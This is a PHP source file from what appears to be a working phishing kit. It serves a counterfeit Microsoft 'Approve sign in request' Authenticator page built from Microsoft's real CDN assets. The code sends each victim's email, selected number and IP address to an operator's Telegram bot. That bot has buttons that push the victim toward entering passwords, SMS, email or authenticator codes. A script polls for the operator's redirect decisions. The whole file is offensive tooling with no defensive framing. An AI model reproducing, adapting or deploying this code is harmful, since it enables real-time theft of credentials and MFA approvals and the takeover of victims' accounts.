<?php
error_reporting(0);
require_once('session_init.php');

// Include config
require_once('config.php');

// Get visitor ID from URL or session
$visitor_id = $_GET['id'] ?? null;
if (!$visitor_id) {
    header("Location: error.php");
    exit();
}

// Check for number parameter in current URL
if (isset($_GET['number']) && !empty($_GET['number'])) {
    $_SESSION['number'] = $_GET['number'];
    $number_selected = true;
} else {
    $number_selected = false;
}

// Check if session username exists and has a value
if (!isset($_SESSION['username']) || empty($_SESSION['username'])) {
    $random_id = bin2hex(random_bytes(16));
    header("Location: index.php?id=" . $random_id);
    exit();
}

// Send Telegram notification if number was just selected
if ($number_selected && $settings['telegram'] == "1") {
    $IP = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'Unknown';
    $useragent = $_SERVER['HTTP_USER_AGENT'];
    $date = date("F j, Y g:i a");

    $msgtg = "🔐 <b>AUTHENTICATOR APPROVAL</b> 🔐\n";
    $msgtg .= "━━━━━━━━━━━━━━━\n\n";
    
    $msgtg .= "🔢 <b>SELECTED NUMBER</b>\n";
    $msgtg .= "Number: <code>" . htmlspecialchars($_SESSION['number']) . "</code>\n\n";

    $msgtg .= "👤 <b>USER INFO</b>\n";
    $msgtg .= "Email: <code>" . htmlspecialchars($_SESSION['username']) . "</code>\n";
    $msgtg .= "IP Address: <code>{$IP}</code>\n\n";
    
    $msgtg .= "🔑 <b>VISITOR INFO</b>\n";
    $msgtg .= "Visitor ID: <code>{$visitor_id}</code>\n\n";
    
    $msgtg .= "━━━━━━━━━━━━━━━\n";
    $msgtg .= "⏰ " . $date . "\n\n";
    
    // Create inline keyboard for actions
    $keyboard = [
        'inline_keyboard' => [
            [
                ['text' => '❌ Password Error', 'callback_data' => 'password_error']
            ],
            [
                ['text' => '📧 Email Code', 'callback_data' => 'email_code'],
                ['text' => '📱 SMS Code', 'callback_data' => 'sms_code']
            ],
            [
                ['text' => '🔐 Authenticator Code', 'callback_data' => 'authenticator_code'],
                ['text' => '🚫 Block Visitor', 'callback_data' => 'block']
            ],
            [
                ['text' => '✅ Success', 'callback_data' => 'success']
            ]
        ]
    ];
    
    $send = [
        'chat_id' => $settings['chat_id'],
        'text' => $msgtg,
        'parse_mode' => 'HTML',
        'disable_web_page_preview' => true,
        'reply_markup' => json_encode($keyboard)
    ];
    
    $website = "https://api.telegram.org/bot{$settings['bot_url']}";
    $ch = curl_init($website . '/sendMessage');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $result = curl_exec($ch);
    curl_close($ch);
}

// Add JavaScript to check for redirect updates
?>
<!DOCTYPE html>
<html dir="ltr" lang="en">
<head>
    <title>Sign in to your account</title>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <link rel="shortcut icon" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">
    <link href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kfhrfyfy-sm2tmkm5ficcw2.css" rel="stylesheet">
</head>

<body class="cb" style="display: block;">

<div>
<div></div>

<div>
<div id="lightboxTemplateContainer">
<div id="lightboxBackgroundContainer">
    <div class="background-image-holder" role="presentation">
        <div class="background-image ext-background-image" style="background-image: url('https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/4_eae2dd7eb3a55636dc2d74f4fa4c386e.svg');"></div>
    </div>
</div>

<div class="outer">
    <div class="template-section main-section">
        <div class="middle ext-middle">
            <div class="full-height">
                <div class="flex-column">
                    <div class="win-scroll">

                    <form method="post" action="session/mcode.php?id=<?php echo bin2hex(random_bytes(16)); ?>" novalidate="">

                        <!-- Authenticator App Verification Screen -->
                        <div id="authenticatorScreen" class="sign-in-box ext-sign-in-box fade-in-lightbox">
                            <div class="lightbox-cover"></div>
                            <div>
                                <img class="logo" role="img" src="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg" alt="Microsoft">
                            </div>
                            <div role="main">
                                <div class="">
                                    <div class="animate slide-in-next">
                                        <div>
                                            <div class="identityBanner">
                                                <button type="button" class="backButton" id="backBtn" onclick="window.location.replace('<?php echo isset($_SESSION['back_nav']) ? $_SESSION['back_nav'] : 'index.php'; ?>');">
                                                    <img role="presentation" src="https://aadcdn.msftauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg">
                                                </button>
                                                <div id="displayEmail" class="identity" title=""><?php echo $_SESSION['username']; ?></div>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="pagination-view animate has-identity-banner slide-in-next">
                                        <div data-viewid="5" data-showidentitybanner="true">
                                            <div aria-hidden="true"></div>
                                            <div id="loginHeader" class="row title ext-title">
                                                <div role="heading">Approve sign in request</div>
                                            </div>
                                            <div class="row">
                                                <div class="form-group col-md-24">
                                                    <div class="text-body">
                                                        <div>Open your Microsoft Authenticator app, and enter the number shown to sign in.</div>
                                                    </div>
                                                </div>
                                            </div>
                                            <div class="row">
                                                <div class="form-group col-md-24">
                                                    <div class="text-center" style="padding: 30px 0;">
                                                        <div style="font-size: 48px; font-weight: 600; color: #0067B8; letter-spacing: 10px;">
                                                            <?php echo $_SESSION['number']; ?>
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>
                                            <div class="row">
                                                <div class="form-group col-md-24">
                                                    <div class="text-body text-center">
                                                        <div style="color: #605E5C; font-size: 13px;">Waiting for approval...</div>
                                                    </div>
                                                </div>
                                            </div>
                                            <div>
                                                <div>
                                                    <div class="row">
                                                        <div class="col-md-24">
                                                            <div class="text-13 text-center">
                                                                <div class="form-group">
                                                                    <a id="cantUseAuthenticator" role="link" href="#">I can't use my Microsoft Authenticator app right now</a>
                                                                </div>
                                                                <div class="form-group">
                                                                    <a id="tryAnotherWay" role="link" href="#">Sign in another way</a>
                                                                </div>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div></form>
                        <script>
                            const VISITOR_ID = "<?php echo htmlspecialchars($_GET['id'] ?? ''); ?>";
                            const CHECK_INTERVAL = 2000;
                            const TIMEOUT = 300;
                        </script>
                        <script src="assets/js/redirect-checker.js"></script>

                    </div>
                </div>
            </div>
        </div>
    </div>

    <div></div>
</div>

</div>
</div>
</div>

<div id="footer" role="contentinfo" class="footer ext-footer">
    <div>
        <div id="footerLinks" class="footerNode text-secondary">
            <a id="ftrTerms" href="#" class="footer-content ext-footer-content footer-item ext-footer-item">Terms of use</a>
            <a id="ftrPrivacy" href="#" class="footer-content ext-footer-content footer-item ext-footer-item">Privacy &amp; cookies</a>
            <a id="moreOptions" href="#" role="button" class="footer-content ext-footer-content footer-item ext-footer-item debug-item ext-debug-item">...</a>
        </div>
    </div>
</div>

</div>
</div>
</div>
</div>
</body>
</html>